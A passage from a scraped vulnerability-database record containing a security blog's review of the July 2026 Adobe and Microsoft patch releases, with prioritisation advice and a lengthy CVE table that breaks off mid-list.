patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:48.693848Z"}, {"uuid": "9de93aff-77b6-4b8a-b788-1d4bd6eb247e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54128", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX 